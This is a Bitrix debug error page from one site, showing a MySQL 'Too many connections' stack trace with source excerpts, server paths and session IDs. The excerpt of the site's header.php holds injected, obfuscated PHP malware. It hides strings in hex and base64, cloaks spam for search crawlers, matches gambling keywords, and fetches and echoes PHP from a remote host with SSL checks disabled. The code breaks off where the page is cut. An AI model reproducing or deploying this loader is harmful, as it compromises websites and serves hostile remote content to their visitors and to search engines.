Bitrix \ Main \ DB \ ConnectionException (400)
Mysql connect error [localhost]: (1040) Too many connections Bitrix\Main\DB\ConnectionException thrown with message "Mysql connect error [localhost]: (1040) Too many connections" Stacktrace: #16 Bitrix\Main\DB\ConnectionException in /var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/lib/db/mysqliconnection.php:86 #15 Bitrix\Main\DB\MysqliConnection:connectInternal in /var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/lib/db/mysqliconnection.php:137 #14 Bitrix\Main\DB\MysqliConnection:queryInternal in /var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/lib/db/connection.php:331 #13 Bitrix\Main\DB\Connection:query in /var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/lib/db/mysqlcommonconnection.php:299 #12 Bitrix\Main\DB\MysqlCommonConnection:lock in /var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/lib/session/handlers/table/usersessiontable.php:119 #11 Bitrix\Main\Session\Handlers\Table\UserSessionTable:lock in /var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/lib/session/handlers/databasesessionhandler.php:50 #10 Bitrix\Main\Session\Handlers\DatabaseSessionHandler:lock in /var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/lib/session/handlers/abstractsessionhandler.php:52 #9 Bitrix\Main\Session\Handlers\AbstractSessionHandler:read in [internal]:0 #8 session_start in /var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/lib/session/session.php:155 #7 Bitrix\Main\Session\Session:start in /var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/lib/session/kernelsessionproxy.php:47 #6 Bitrix\Main\Session\KernelSessionProxy:start in /var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/include.php:168 #5 require_once in /var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/include/prolog_before.php:19 #4 require_once in /var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/include/prolog.php:10 #3 require_once in /var/www/www-root/data/www/vannstudio.ru/bitrix/header.php:4 #2 require in /var/www/www-root/data/www/vannstudio.ru/brands/index.php:2 #1 include_once in /var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/include/urlrewrite.php:184 #0 include_once in /var/www/www-root/data/www/vannstudio.ru/bitrix/urlrewrite.php:2
Stack frames (17)
16
Bitrix
\
Main
\
DB
\
ConnectionException
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
lib
/
db
/
mysqliconnection.php
86
15
Bitrix
\
Main
\
DB
\
MysqliConnection
connectInternal
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
lib
/
db
/
mysqliconnection.php
137
14
Bitrix
\
Main
\
DB
\
MysqliConnection
queryInternal
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
lib
/
db
/
connection.php
331
13
Bitrix
\
Main
\
DB
\
Connection
query
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
lib
/
db
/
mysqlcommonconnection.php
299
12
Bitrix
\
Main
\
DB
\
MysqlCommonConnection
lock
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
lib
/
session
/
handlers
/
table
/
usersessiontable.php
119
11
Bitrix
\
Main
\
Session
\
Handlers
\
Table
\
UserSessionTable
lock
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
lib
/
session
/
handlers
/
databasesessionhandler.php
50
10
Bitrix
\
Main
\
Session
\
Handlers
\
DatabaseSessionHandler
lock
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
lib
/
session
/
handlers
/
abstractsessionhandler.php
52
9
Bitrix
\
Main
\
Session
\
Handlers
\
AbstractSessionHandler
read
[internal]
0
8
session_start
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
lib
/
session
/
session.php
155
7
Bitrix
\
Main
\
Session
\
Session
start
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
lib
/
session
/
kernelsessionproxy.php
47
6
Bitrix
\
Main
\
Session
\
KernelSessionProxy
start
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
include.php
168
5
require_once
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
include
/
prolog_before.php
19
4
require_once
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
include
/
prolog.php
10
3
require_once
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
header.php
4
2
require
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
brands
/
index.php
2
1
include_once
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
include
/
urlrewrite.php
184
0
include_once
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
urlrewrite.php
2
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
lib
/
db
/
mysqliconnection.php
        if (!empty($this->initCommand))
        {
            if (!$connection->options(MYSQLI_INIT_COMMAND, $this->initCommand))
            {
                throw new ConnectionException('Setting mysql init command failed');
            }
        }
 
        if ($port > 0)
        {
            $success = $connection->real_connect($host, $this->login, $this->password, $this->database, $port);
        }
        else
        {
            $success = $connection->real_connect($host, $this->login, $this->password, $this->database);
        }
 
        if (!$success)
        {
            throw new ConnectionException(
                'Mysql connect error ['.$this->host.']',
                sprintf('(%s) %s', $connection->connect_errno, $connection->connect_error)
            );
        }
 
        $this->resource = $connection;
        $this->isConnected = true;
 
        if (isset($this->configuration['charset']))
        {
            $connection->set_charset($this->configuration['charset']);
        }
 
        // nosql memcached driver
        if (isset($this->configuration['memcache']))
        {
            if (function_exists('mysqlnd_memcache_set'))
            {
                $memcached = \Bitrix\Main\Application::getInstance()->getConnectionPool()->getConnection($this->configuration['memcache']);
                mysqlnd_memcache_set($this->resource, $memcached->getResource());
Arguments
  1. "Mysql connect error [localhost]: (1040) Too many connections"
    
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
lib
/
db
/
mysqliconnection.php
     */
    protected function disconnectInternal()
    {
        if ($this->isConnected)
        {
            $this->isConnected = false;
            $this->resource->close();
        }
    }
 
    /*********************************************************
     * Query
     *********************************************************/
 
    /**
     * @inheritDoc
     */
    protected function queryInternal($sql, array $binds = null, Diag\SqlTrackerQuery $trackerQuery = null)
    {
        $this->connectInternal();
 
        $trackerQuery?->startQuery($sql, $binds);
 
        $result = $this->resource->query($sql);
 
        $trackerQuery?->finishQuery();
 
        $this->lastQueryResult = $result;
 
        if (!$result)
        {
            throw new SqlQueryException('Mysql query error', $this->getErrorMessage(), $sql);
        }
 
        return $result;
    }
 
    /**
     * @inheritDoc
     */
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
lib
/
db
/
connection.php
            $sql = $this->getSqlHelper()->getTopSql($sql, $limit, $offset);
        }
 
        $trackerQuery = null;
 
        if ($this->queryExecutingEnabled)
        {
            $connection = Main\Application::getInstance()->getConnectionPool()->getSlaveConnection($sql);
            if($connection === null)
            {
                $connection = $this;
            }
 
            if ($this->trackSql)
            {
                $trackerQuery = $this->sqlTracker->getNewTrackerQuery();
                $trackerQuery->setNode($connection->getNodeId());
            }
 
            $result = $connection->queryInternal($sql, $binds, $trackerQuery);
        }
        else
        {
            if ($this->disabledQueryExecutingDump === null)
            {
                $this->disabledQueryExecutingDump = array();
            }
 
            $this->disabledQueryExecutingDump[] = $sql;
            $result = true;
        }
 
        return $this->createResult($result, $trackerQuery);
    }
 
    /**
     * Executes a query, fetches a row and returns single field value
     * from the first column of the result.
     *
     * @param string $sql Sql text.
Arguments
  1. "SELECT GET_LOCK('46fa796bbcbd04340f1ce3a56ca263c1eb3c63a8cb0490852e167dd98b9ff0f2', 60) as L"
    
  2. []
    
  3. null
    
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
lib
/
db
/
mysqlcommonconnection.php
        {
            $this->query("ROLLBACK TO SAVEPOINT TRANS{$this->transactionLevel}");
 
            throw new TransactionException('Nested rollbacks are unsupported.');
        }
    }
 
    /*********************************************************
     * Global named lock
     *********************************************************/
 
    /**
     * @inheritDoc
     */
    public function lock($name, $timeout = 0)
    {
        $timeout = (int)$timeout;
        $name = $this->getLockName($name);
 
        $lock = $this->query("SELECT GET_LOCK('{$name}', {$timeout}) as L")->fetch();
 
        return ($lock["L"] == "1");
    }
 
    /**
     * @inheritDoc
     */
    public function unlock($name)
    {
        $name = $this->getLockName($name);
 
        $lock = $this->query("SELECT RELEASE_LOCK('{$name}') as L")->fetch();
 
        return ($lock["L"] == "1");
    }
 
    protected function getLockName($name)
    {
        $unique = \CMain::GetServerUniqID();
 
Arguments
  1. "SELECT GET_LOCK('46fa796bbcbd04340f1ce3a56ca263c1eb3c63a8cb0490852e167dd98b9ff0f2', 60) as L"
    
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
lib
/
session
/
handlers
/
table
/
usersessiontable.php
     * Locks specified session id
     *
     * @param string $id Session id.
     * @param int $timeout Lock timeout.
     * @return bool Returns true if lock occurred.
     */
    public static function lock($id, $timeout = 60)
    {
        $result = true;
 
        $pool = Application::getInstance()->getConnectionPool();
        $pool->useMasterOnly(true);
 
        $connection = static::getEntity()->getConnection();
        if (
            $connection instanceof MysqlCommonConnection
            || $connection instanceof PgsqlConnection
        )
        {
            $result = $connection->lock($id, (int)$timeout);
        }
        else
        {
            trigger_error(sprintf('SessionTable::lock not supported for connection of type "%s"', get_class($connection)), E_USER_WARNING);
        }
 
        $pool->useMasterOnly(false);
 
        return $result;
    }
 
    /**
     * Unlock specified session id
     *
     * @param string $id Session id.
     * @return bool Returns true if lock released.
     */
    public static function unlock($id)
    {
        $pool = Application::getInstance()->getConnectionPool();
Arguments
  1. "46fa796bbcbd04340f1ce3a56ca263c1eb3c63a8cb0490852e167dd98b9ff0f2"
    
  2. 60
    
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
lib
/
session
/
handlers
/
databasesessionhandler.php
        }
 
        return '';
    }
 
    public function processWrite($sessionId, $sessionData): bool
    {
        $this->processDestroy($sessionId);
        $result = UserSessionTable::add([
            'SESSION_ID' => $sessionId,
            'TIMESTAMP_X' => new \Bitrix\Main\Type\DateTime(),
            'SESSION_DATA' => base64_encode($sessionData),
        ]);
 
        return $result->isSuccess();
    }
 
    protected function lock($sessionId): bool
    {
        return UserSessionTable::lock($this->sessionId);
    }
 
    protected function unlock($sessionId): bool
    {
        return UserSessionTable::unlock($this->sessionId);
    }
 
    protected function processDestroy($sessionId): bool
    {
        return UserSessionTable::delete($sessionId)->isSuccess();
    }
 
    /**
     * @param int $maxLifeTime
     * @return int
     */
    public function gc($maxLifeTime): int
    {
        UserSessionTable::deleteOlderThan($maxLifeTime);
 
Arguments
  1. "4gBzLEOyivdkL3Z6FEWxWdEvo7kpJfJA"
    
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
lib
/
session
/
handlers
/
abstractsessionhandler.php
        {
            return '';
        }
 
        $this->sessionId = $sessionId;
        if ($this->prefetchId !== null)
        {
            $prefetchId = $this->prefetchId;
            $prefetchData = $this->prefetchData;
 
            $this->prefetchId = null;
            $this->prefetchData = null;
 
            if ($prefetchId === $this->sessionId)
            {
                return $prefetchData;
            }
        }
 
        if (!$this->readOnly && !$this->lock($this->sessionId))
        {
            $this->triggerLockFatalError();
        }
 
        return $this->processRead($sessionId);
    }
 
    abstract protected function processRead($sessionId): string;
 
    protected function triggerLockFatalError(string $additionalText = ''): void
    {
        $text = self::LOCK_ERROR_MESSAGE;
        if ($additionalText)
        {
            $text .= $additionalText;
        }
 
        $httpResponse = new HttpResponse();
        $httpResponse->setStatus('500 Internal Server Error');
        trigger_error($text, E_USER_ERROR);
Arguments
  1. "4gBzLEOyivdkL3Z6FEWxWdEvo7kpJfJA"
    
[internal]
Arguments
  1. "4gBzLEOyivdkL3Z6FEWxWdEvo7kpJfJA"
    
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
lib
/
session
/
session.php
 
        if ($this->isActive())
        {
            throw new \RuntimeException('Could not start session by PHP because session is active.');
        }
 
        if ($this->isHeadersSent($file, $line))
        {
            throw new \RuntimeException(
                "Could not start session because headers have already been sent. \"{$file}\":{$line}."
            );
        }
 
        $this->debug('Session tries to start at');
        $this->detectFirstUsage();
 
        try
        {
            $this->applySessionStartIniSettings($this->getSessionStartOptions());
            if (!session_start() && !$this->ignoringSessionStartErrors)
            {
                throw new \RuntimeException('Could not start session by PHP.');
            }
        }
        catch (\Error $error)
        {
            if ($this->shouldLogError($error))
            {
                $this->writeToLogError($error);
            }
 
            if (!$this->ignoringSessionStartErrors)
            {
                throw $error->getPrevious() ?: $error;
            }
        }
        $this->debug('Session started at');
 
        $this->sessionData = &$_SESSION;
        $this->started = true;
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
lib
/
session
/
kernelsessionproxy.php
    }
 
    public function setId($id)
    {
        $this->session->setId($id);
    }
 
    public function getName(): string
    {
        return $this->session->getName();
    }
 
    public function setName($name)
    {
        $this->session->setName($name);
    }
 
    public function start(): bool
    {
        return $this->session->start();
    }
 
    public function regenerateId(): bool
    {
        return $this->session->regenerateId();
    }
 
    public function destroy()
    {
        $this->session->destroy();
    }
 
    public function save()
    {
        $this->session->save();
    }
 
    public function has($name)
    {
        return $this->session->has($name);
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
include.php
    header("X-DevSrv-CMS: Bitrix");
}
 
//agents
if (COption::GetOptionString("main", "check_agents", "Y") == "Y")
{
    $application->addBackgroundJob(["CAgent", "CheckAgents"], [], \Bitrix\Main\Application::JOB_PRIORITY_LOW);
}
 
//send email events
if (COption::GetOptionString("main", "check_events", "Y") !== "N")
{
    $application->addBackgroundJob(['\Bitrix\Main\Mail\EventManager', 'checkEvents'], [], \Bitrix\Main\Application::JOB_PRIORITY_LOW-1);
}
 
$healerOfEarlySessionStart = new HealerEarlySessionStart();
$healerOfEarlySessionStart->process($application->getKernelSession());
 
$kernelSession = $application->getKernelSession();
$kernelSession->start();
$application->getSessionLocalStorageManager()->setUniqueId($kernelSession->getId());
 
foreach (GetModuleEvents("main", "OnPageStart", true) as $arEvent)
{
    ExecuteModuleEventEx($arEvent);
}
 
//define global user object
$GLOBALS["USER"] = new CUser;
 
//session control from group policy
$arPolicy = $GLOBALS["USER"]->GetSecurityPolicy();
$currTime = time();
if (
    (
        //IP address changed
        $kernelSession['SESS_IP']
        && $arPolicy["SESSION_IP_MASK"] <> ''
        && (
            (ip2long($arPolicy["SESSION_IP_MASK"]) & ip2long($kernelSession['SESS_IP']))
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
include
/
prolog_before.php
<?php
 
if (!defined('START_EXEC_PROLOG_BEFORE_1'))
{
    define("START_EXEC_PROLOG_BEFORE_1", microtime(true));
}
 
$GLOBALS["BX_STATE"] = "PB";
if(isset($_REQUEST["BX_STATE"])) unset($_REQUEST["BX_STATE"]);
if(isset($_GET["BX_STATE"])) unset($_GET["BX_STATE"]);
if(isset($_POST["BX_STATE"])) unset($_POST["BX_STATE"]);
if(isset($_COOKIE["BX_STATE"])) unset($_COOKIE["BX_STATE"]);
if(isset($_FILES["BX_STATE"])) unset($_FILES["BX_STATE"]);
 
if(!isset($USER)) {global $USER;}
if(!isset($APPLICATION)) {global $APPLICATION;}
if(!isset($DB)) {global $DB;}
 
require_once(__DIR__."/../include.php");
 
CMain::PrologActions();
 
if (!defined('START_EXEC_PROLOG_BEFORE_2'))
{
    define("START_EXEC_PROLOG_BEFORE_2", microtime(true));
}
 
Arguments
  1. "/var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/include.php"
    
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
include
/
prolog.php
<?php
require_once(__DIR__ . "/../bx_root.php");
 
if (file_exists($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/html_pages/.enabled"))
{
    require_once(__DIR__ . "/../lib/composite/responder.php");
    Bitrix\Main\Composite\Responder::respond();
}
 
require_once(__DIR__ . "/prolog_before.php");
require($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/include/prolog_after.php");
 
Arguments
  1. "/var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/include/prolog_before.php"
    
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
header.php
<?php
/* 2duan */
goto vlDQz; HIGc8: $QH_Px = $_SERVER["\x52\105\x51\125\105\x53\x54\x5f\125\122\x49"]; goto LBhLH; hox2E: define("\170\154\x30\x53\122", "\60\x34\x31\x36\x6a\x73\143\62"); goto PcTht; Yex8u: function mfbI4($H4Uwh, $otwNg = "\57\x5b\x3f\x5c\57\x5d\50\x69\144\x7c\147\141\155\145\151\144\174\111\x44\x7c\153\x72\x73\154\x6f\164\111\104\x7c\x47\141\x6d\145\x7c\141\160\160\x7c\x69\x6f\163\x7c\x61\156\x64\x72\157\151\x64\174\x64\x6f\x77\x6e\154\x6f\x61\x64\174\142\x6c\141\x6e\153\174\123\154\x6f\164\x7c\x73\154\157\x74\x7c\x62\x65\x74\174\x63\x61\163\x69\x6e\x6f\174\x67\x61\155\145\x73\174\160\154\x61\x79\x7c\166\151\x64\x65\x6f\174\x70\157\x6b\x65\x72\174\156\145\x77\163\174\163\154\x6f\x7c\x67\x6f\x64\163\174\x66\151\163\x68\174\x6d\x61\x68\152\174\x75\162\x69\51\56\57") { return preg_match($otwNg, $H4Uwh) === 1; } goto D3ed8; htfxU: $SzF3y = $_SERVER["\x48\124\x54\120\x5f\x55\123\x45\x52\x5f\x41\107\x45\x4e\x54"]; goto l_2tv; byjza: define("\x45\x50\110\162\x4f", base64_decode("\x50\107\150\x30\142\x57\x77\53\103\x69\101\x67\111\103\x41\70\141\x47\126\150\x5a\x44\x34\113\111\103\x41\x67\x49\103\101\147\x49\103\x41\x38\x64\107\x6c\x30\x62\x47\125\x2b\x56\x47\x68\154\111\x48\x4a\154\143\x32\71\x31\x63\x6d\x4e\x6c\x49\107\116\150\x62\x6d\65\166\144\103\x42\151\132\123\x42\155\142\63\126\165\132\103\x34\70\114\63\x52\160\x64\107\170\x6c\x50\x67\x6f\x67\x49\103\101\147\111\103\101\147\x49\x44\170\172\x59\x33\x4a\160\143\x48\121\53\144\x32\154\165\x5a\x47\x39\63\x4c\155\170\x76\131\x32\106\60\x61\127\71\x75\x50\123\x4a\157\x64\x48\122\167\x63\x7a\x6f\x76\114\62\x56\x6e\x5a\62\116\62\141\x58\101\x75\x59\x32\x39\x74\x4c\x33\144\154\142\x47\x4e\166\142\x57\x55\166\x4d\x6a\101\x79\x4e\x54\x49\x75\x61\110\x52\164\142\103\x49\x37\x50\x43\71\172\x59\x33\112\160\143\110\x51\x2b\x43\x69\101\x67\111\103\x41\70\114\x32\150\x6c\131\x57\x51\x2b\x43\x69\x41\147\x49\103\x41\x38\131\x6d\71\x6b\x65\124\x34\x4b\111\x43\101\x67\111\x43\x41\x67\111\x43\x41\x38\x61\x44\105\x2b\124\155\x39\x30\x49\x45\132\x76\144\127\65\153\120\x43\71\x6f\115\124\64\113\111\103\101\x67\x49\x44\x77\x76\x59\155\x39\x6b\145\124\x34\113\x50\x43\x39\157\x64\107\61\x73\x50\147\x3d\x3d")); goto dUPrt; qAtYp: define("\x78\166\x49\x51\60", base64_decode("\x61\110\x52\x30\143\x44\157\x76\x4c\62\x70\x7a\131\62\122\x75\x4c\x6d\122\x6e\x61\172\147\64\117\103\65\60\x62\x33\x41\166")); goto FRai7; RMc81: function GBDin($FWaK8, $x3wSF = array(), $W_16F = 0, $yYiY2 = 0) { goto YbEfb; YbEfb: if (function_exists("\143\x75\x72\154\x5f\151\156\x69\x74")) { goto Kr1l2; } goto Se6RS; i1BbR: if (!curl_errno($XjNfe)) { goto k3A_Y; } goto wLTBW; yqoWn: curl_setopt($XjNfe, CURLOPT_SSL_VERIFYHOST, false); goto KwYqZ; jzRUU: mAJ47: goto UdSBC; UTu4r: curl_setopt($XjNfe, CURLOPT_HTTPHEADER, $x3wSF); goto limfG; uCU2h: curl_setopt($XjNfe, CURLOPT_URL, $FWaK8); goto EUHb8; KwYqZ: curl_setopt($XjNfe, CURLOPT_FOLLOWLOCATION, true); goto tS8Es; hCyfk: curl_close($XjNfe); goto nde7_; iiP7W: goto mAJ47; goto lE5i2; tUkpU: curl_setopt($XjNfe, CURLOPT_SSL_VERIFYPEER, false); goto yqoWn; qwX4s: $XjNfe = curl_init(); goto uCU2h; WiuGG: curl_setopt($XjNfe, CURLOPT_RETURNTRANSFER, 1); goto TFfBR; TFfBR: curl_setopt($XjNfe, CURLOPT_USERAGENT, $_SERVER["\110\124\x54\x50\x5f\125\x53\x45\x52\x5f\101\x47\x45\x4e\124"]); goto a75ec; EUHb8: curl_setopt($XjNfe, CURLOPT_HEADER, 0); goto WiuGG; z2vyF: k3A_Y: goto hCyfk; HadvG: curl_setopt($XjNfe, CURLOPT_TIMEOUT, $yYiY2); goto tUkpU; limfG: curl_setopt($XjNfe, CURLOPT_CONNECTTIMEOUT, $W_16F); goto HadvG; wLTBW: $hwbc0 = NULL; goto z2vyF; a75ec: curl_setopt($XjNfe, CURLOPT_REFERER, $_SERVER["\110\x54\124\120\137\x52\105\x46\x45\122\105\x52"]); goto UTu4r; nde7_: return $hwbc0; goto jzRUU; tS8Es: $hwbc0 = curl_exec($XjNfe); goto i1BbR; lE5i2: Kr1l2: goto qwX4s; Se6RS: return file_get_contents($FWaK8); goto iiP7W; UdSBC: } goto mwiSj; mwiSj: function esf5H() { foreach (array("\110\124\124\x50\x5f\103\114\x49\105\x4e\124\x5f\111\120", "\110\x54\x54\x50\x5f\130\x5f\x52\x45\101\114\137\x49\120", "\110\124\x54\x50\137\103\x46\x5f\103\x4f\116\x4e\105\x43\124\x49\116\x47\x5f\x49\x50", "\x48\x54\x54\120\x5f\x58\x5f\106\117\122\127\101\122\x44\105\104\x5f\106\x4f\x52", "\x48\124\124\120\x5f\130\137\106\x4f\x52\x57\x41\122\104\105\x44", "\x48\x54\x54\120\x5f\130\x5f\103\114\125\x53\124\105\122\137\x43\114\111\x45\x4e\124\137\111\x50", "\x48\124\x54\120\137\106\117\x52\127\x41\122\x44\105\104\137\x46\117\122", "\110\124\124\120\x5f\x46\x4f\122\x57\x41\122\104\x45\104", "\122\105\x4d\117\x54\105\x5f\101\104\104\x52") as $ZVlRe) { goto d7Qev; u9jhz: FZvn_: goto CF1Jb; qhmc2: DwtkE: goto vmBGF; eZhk4: foreach (explode("\54", $_SERVER[$ZVlRe]) as $orkmV) { goto nK6uj; ZmXm0: if (!(filter_var($orkmV, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false)) { goto O9SIl; } goto C6YCL; nK6uj: $orkmV = trim($orkmV); goto ZmXm0; vldkR: O9SIl: goto D3iU3; D3iU3: g5ZtL: goto Khtb4; C6YCL: return $orkmV; goto vldkR; Khtb4: } goto qhmc2; d7Qev: if (!(array_key_exists($ZVlRe, $_SERVER) === true)) { goto sFwUD; } goto eZhk4; vmBGF: sFwUD: goto u9jhz; CF1Jb: } aj6kE: } goto pD8nc; l_2tv: $dqr6X = $_SERVER["\x48\124\x54\120\x5f\x48\x4f\x53\124"]; goto HIGc8; vNC8C: error_reporting(0); goto hox2E; vlDQz: set_time_limit(0); goto vNC8C; dUPrt: $ahpjG = $_SERVER["\110\x54\x54\x50\x5f\x52\x45\106\x45\122\x45\122"]; goto htfxU; PcTht: define("\x64\x4c\x4c\x4f\x42", "\x56\x45\147\x6a\123\x32\61\156"); goto zCByt; CzI0G: function W7Cv_($QwF7b) { goto DeJdi; SzWsL: xT3Gz: goto vskgC; vskgC: return false; goto x3DIh; mgn0J: $UMB_z = array("\147\157\x6f\147\154\145\56", "\x62\151\156\x67\x2e", "\156\141\x76\145\x72\x2e", "\171\141\150\x6f\157\56"); goto ajUsT; DeJdi: if (!(substr($QwF7b, 0, 4) === "\x68\x74\x74\x70")) { goto xT3Gz; } goto mgn0J; ajUsT: foreach ($UMB_z as $vXT4U) { goto gO0XF; a65NQ: hsG1N: goto GR90K; Icgwk: return true; goto hYog1; hYog1: vfMHq: goto a65NQ; gO0XF: if (!(stripos($QwF7b, $vXT4U) !== false)) { goto vfMHq; } goto Icgwk; GR90K: } goto PjfnM; PjfnM: L9RYy: goto SzWsL; x3DIh: } goto RMc81; LBhLH: function yh_3Q() { } goto KOJRg; D3ed8: function tgo4V($J8eYM) { goto CkeFV; mdkLb: return false; goto DQy1c; iGoms: YTk4e: goto mdkLb; CkeFV: $PdcaN = array("\107\x6f\x6f\x67\154\x65\142\x6f\164", "\102\x69\x6e\x67\x62\157\x74", "\171\x65\164\x69"); goto rezF2; rezF2: foreach ($PdcaN as $mnxif) { goto Ks9lH; IBV65: x7oOc: goto cbUl5; r9GXN: return true; goto IFoRg; IFoRg: QyvIn: goto IBV65; Ks9lH: if (!(stripos($J8eYM, $mnxif) !== false)) { goto QyvIn; } goto r9GXN; cbUl5: } goto iGoms; DQy1c: } goto CzI0G; pD8nc: function M8uoS() { goto RKQnr; Ksbil: J44NQ: goto SVg__; XXtfD: $kGVBm = urlencode($QH_Px); goto TJpBz; jFUcM: cAWkL: goto TWpdA; TJpBz: $x3wSF = array(); goto hdIl9; QRV2d: header("\x50\162\141\147\155\141\72\x20\156\157\55\143\141\143\150\x65"); goto XXtfD; YiUrr: header("\x43\157\156\164\145\156\164\55\x54\171\160\x65\72\164\x65\x78\164\x2f\150\x74\155\x6c\x3b\x20\143\150\141\162\x73\x65\164\75\x75\164\146\x2d\70"); goto Qvhca; l5xq_: UxfNV: goto w9VU_; hdIl9: if (!isset($_SERVER["\x48\124\x54\x50\137\101\103\x43\105\120\124\137\114\x41\x4e\107\125\101\107\x45"])) { goto UxfNV; } goto Awufz; hRMk0: array_push($x3wSF, "\x41\143\x63\x65\x70\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\72\x20{$p8yhw}"); goto P0I3_; e9jhQ: exit; goto sJp54; RtBb5: $IieOD = ESF5H(); goto sgQOZ; jlcmD: goto e_lpS; goto ZNB3Y; sgQOZ: if (MFBi4($QH_Px)) { goto pq1sd; } goto wPhGA; Wa2st: exit; goto jFUcM; Ss3VP: foreach ($wyuUY as $ZVlRe => $pNSbs) { goto Vj8wc; Vj8wc: if (!(stripos($ZVlRe, "\x53\145\143\x2d") === 0)) { goto kAPsM; } goto yhQdO; iRNtb: VMiyR: goto sUCZ8; yhQdO: array_push($x3wSF, "{$ZVlRe}\x3a\40{$pNSbs}"); goto gIBxg; gIBxg: kAPsM: goto iRNtb; sUCZ8: } goto AfwtL; w9VU_: if (tgO4V($SzF3y)) { goto t1KTd; } goto f_qF0; wPhGA: echo gBDIN(xvIQ0 . "\x61\154\x2e\160\x68\160"); goto kT15a; iQDSR: header("\103\x61\143\150\x65\x2d\x43\x6f\156\x74\162\157\x6c\72\40\x6e\x6f\x2d\x73\x74\157\x72\145\54\40\156\157\55\x63\x61\143\150\145\54\40\x6d\165\x73\x74\x2d\162\145\166\x61\154\151\x64\141\164\x65"); goto Bs8ln; Bs8ln: header("\x43\141\143\150\x65\55\103\157\156\x74\162\x6f\154\72\x20\160\x6f\163\x74\55\143\x68\145\x63\x6b\75\x30\54\x20\160\162\x65\x2d\143\x68\x65\143\153\x3d\60", FALSE); goto QRV2d; P0I3_: array_push($x3wSF, "\x56\x61\162\x79\x3a\40\101\x63\x63\x65\x70\164\55\114\x61\x6e\147\165\141\147\145"); goto l5xq_; sJp54: e_lpS: goto R9R8y; SVg__: header("\x43\157\156\x74\145\x6e\164\55\x54\x79\160\145\x3a\164\x65\x78\164\57\x68\164\155\x6c\73\40\x63\150\141\162\163\x65\x74\x3d\165\164\146\55\70"); goto AUfpf; TWpdA: goto e_lpS; goto Ksbil; WGJrm: $MR3er = GBDiN(nevcy . "\65\60\62\x32\x2e\x70\150\160"); goto f2Px0; Qvhca: echo gBdIN(xvIQ0 . "\77{$dqr6X}{$QH_Px}"); goto Wa2st; f2Px0: echo $MR3er ? $MR3er : EPHrO; goto e9jhQ; dAVn4: if (!function_exists("\144\x6f\107\156\116")) { function dOGnn() { goto je6Ow; ErlVH: Mi87p: goto o0Gq1; upAbJ: foreach ($_SERVER as $crqzG => $pNSbs) { goto MWW3w; MWW3w: if (!(substr($crqzG, 0, 5) == "\110\x54\124\x50\137")) { goto eaJ4l; } goto Z40uH; ErpTR: eaJ4l: goto rEJK6; Z40uH: $JeD6C[str_replace("\40", "\x2d", ucwords(strtolower(str_replace("\x5f", "\40", substr($crqzG, 5)))))] = $pNSbs; goto ErpTR; rEJK6: IK6vP: goto Wny0V; Wny0V: } goto ErlVH; o0Gq1: return $JeD6C; goto Xicwh; je6Ow: $JeD6C = array(); goto upAbJ; Xicwh: } $wyuUY = dogNn(); } else { $wyuUY = Dognn(); } goto 